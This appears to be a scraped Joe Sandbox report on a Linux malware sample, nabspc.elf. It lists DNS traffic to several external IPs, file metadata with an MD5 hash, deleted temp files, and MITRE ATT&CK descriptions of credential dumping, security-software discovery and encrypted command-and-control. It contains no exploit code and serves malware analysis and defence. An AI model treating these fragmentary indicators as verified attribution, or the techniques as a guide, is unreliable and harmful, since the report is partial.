Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 07:50:52.025990009 CET	40253	53	192.168.2.23	51.158.108.203
Oct 28, 2024 07:50:52.042315006 CET	53	40253	51.158.108.203	192.168.2.23
Oct 28, 2024 07:51:02.424741983 CET	57663	53	192.168.2.23	81.169.136.222
Oct 28, 2024 07:51:02.454730988 CET	53	57663	81.169.136.222	192.168.2.23
Oct 28, 2024 07:51:13.321378946 CET	52446	53	192.168.2.23	51.158.108.203
Oct 28, 2024 07:51:13.337412119 CET	53	52446	51.158.108.203	192.168.2.23
Oct 28, 2024 07:51:24.183008909 CET	42761	53	192.168.2.23	152.53.15.127
Oct 28, 2024 07:51:24.193787098 CET	53	42761	152.53.15.127	192.168.2.23
Oct 28, 2024 07:51:35.043239117 CET	55917	53	192.168.2.23	168.235.111.72
Oct 28, 2024 07:51:35.135219097 CET	53	55917	168.235.111.72	192.168.2.23
Oct 28, 2024 07:51:35.147301912 CET	46463	53	192.168.2.23	81.169.136.222
Oct 28, 2024 07:51:35.174915075 CET	53	46463	81.169.136.222	192.168.2.23
Oct 28, 2024 07:51:35.187197924 CET	33577	53	192.168.2.23	185.181.61.24
Oct 28, 2024 07:51:35.220652103 CET	53	33577	185.181.61.24	192.168.2.23
Oct 28, 2024 07:51:35.232825994 CET	48705	53	192.168.2.23	152.53.15.127
Oct 28, 2024 07:51:35.243793964 CET	53	48705	152.53.15.127	192.168.2.23
Oct 28, 2024 07:51:35.256083012 CET	41549	53	192.168.2.23	51.158.108.203
Oct 28, 2024 07:51:35.271646976 CET	53	41549	51.158.108.203	192.168.2.23
Oct 28, 2024 07:51:35.283936024 CET	50263	53	192.168.2.23	168.235.111.72
Oct 28, 2024 07:51:35.373241901 CET	53	50263	168.235.111.72	192.168.2.23
Oct 28, 2024 07:51:35.385736942 CET	58481	53	192.168.2.23	202.61.197.122
Oct 28, 2024 07:51:35.396542072 CET	53	58481	202.61.197.122	192.168.2.23
Oct 28, 2024 07:51:35.409823895 CET	56395	53	192.168.2.23	185.181.61.24
Oct 28, 2024 07:51:35.443217039 CET	53	56395	185.181.61.24	192.168.2.23
Oct 28, 2024 07:51:35.455534935 CET	43342	53	192.168.2.23	194.36.144.87
Oct 28, 2024 07:51:35.466296911 CET	53	43342	194.36.144.87	192.168.2.23
Oct 28, 2024 07:51:35.478908062 CET	54511	53	192.168.2.23	152.53.15.127
Oct 28, 2024 07:51:35.489697933 CET	53	54511	152.53.15.127	192.168.2.23
Oct 28, 2024 07:51:35.502372026 CET	41578	53	192.168.2.23	202.61.197.122
Oct 28, 2024 07:51:35.512862921 CET	53	41578	202.61.197.122	192.168.2.23
Oct 28, 2024 07:51:35.525474072 CET	45385	53	192.168.2.23	51.158.108.203
Oct 28, 2024 07:51:35.541996002 CET	53	45385	51.158.108.203	192.168.2.23
Oct 28, 2024 07:51:46.410306931 CET	46001	53	192.168.2.23	168.235.111.72
Oct 28, 2024 07:51:46.506558895 CET	53	46001	168.235.111.72	192.168.2.23
Oct 28, 2024 07:51:57.379656076 CET	33509	53	192.168.2.23	51.158.108.203
Oct 28, 2024 07:51:57.395869970 CET	53	33509	51.158.108.203	192.168.2.23
Oct 28, 2024 07:51:57.410595894 CET	42529	53	192.168.2.23	185.181.61.24
Oct 28, 2024 07:51:57.444053888 CET	53	42529	185.181.61.24	192.168.2.23
Oct 28, 2024 07:52:07.821027040 CET	51118	53	192.168.2.23	202.61.197.122
Oct 28, 2024 07:52:07.831832886 CET	53	51118	202.61.197.122	192.168.2.23
Oct 28, 2024 07:52:18.707200050 CET	60940	53	192.168.2.23	168.235.111.72
Oct 28, 2024 07:52:18.799737930 CET	53	60940	168.235.111.72	192.168.2.23
Oct 28, 2024 07:52:29.642477036 CET	44877	53	192.168.2.23	152.53.15.127
Oct 28, 2024 07:52:29.653517962 CET	53	44877	152.53.15.127	192.168.2.23
Oct 28, 2024 07:52:40.497919083 CET	53201	53	192.168.2.23	168.235.111.72
Oct 28, 2024 07:52:40.588246107 CET	53	53201	168.235.111.72	192.168.2.23
Oct 28, 2024 07:52:51.415327072 CET	42636	53	192.168.2.23	185.181.61.24
Oct 28, 2024 07:52:51.449032068 CET	53	42636	185.181.61.24	192.168.2.23

Start time (UTC):	06:50:51
Start date (UTC):	28/10/2024
Path:	/tmp/nabspc.elf
Arguments:	/tmp/nabspc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabspc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0URpub (deleted)

/tmp/qemu-open.20Puyb (deleted)

/tmp/qemu-open.2lV8Wa (deleted)

/tmp/qemu-open.2pbBz9 (deleted)

/tmp/qemu-open.3edQVa (deleted)

/tmp/qemu-open.3ifYB7 (deleted)

/tmp/qemu-open.3sdHK7 (deleted)

/tmp/qemu-open.4A4iwa (deleted)

/tmp/qemu-open.4Mqb6b (deleted)

/tmp/qemu-open.4wTmga (deleted)

/tmp/qemu-open.4ymgEa (deleted)

/tmp/qemu-open.57aoK8 (deleted)

/tmp/qemu-open.58jnLa (deleted)

/tmp/qemu-open.6JDwC9 (deleted)

/tmp/qemu-open.6ZrC0a (deleted)

/tmp/qemu-open.7KulB8 (deleted)

/tmp/qemu-open.7pHz77 (deleted)

/tmp/qemu-open.812M37 (deleted)

/tmp/qemu-open.8DE7mb (deleted)

/tmp/qemu-open.8EWNU8 (deleted)

/tmp/qemu-open.8xsqV9 (deleted)

/tmp/qemu-open.9GsBZ7 (deleted)

/tmp/qemu-open.9ZCHda (deleted)

/tmp/qemu-open.A8B6Yb (deleted)

/tmp/qemu-open.AHcOo9 (deleted)

/tmp/qemu-open.Ag9t1a (deleted)

/tmp/qemu-open.BIeLU9 (deleted)

/tmp/qemu-open.BOkjWb (deleted)

/tmp/qemu-open.BwbLgb (deleted)

/tmp/qemu-open.BxiMK9 (deleted)

/tmp/qemu-open.C5KItb (deleted)

/tmp/qemu-open.C8j3V9 (deleted)

/tmp/qemu-open.CXTaW8 (deleted)

/tmp/qemu-open.Cb6MW8 (deleted)

Linux Analysis Report
nabspc.elf

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre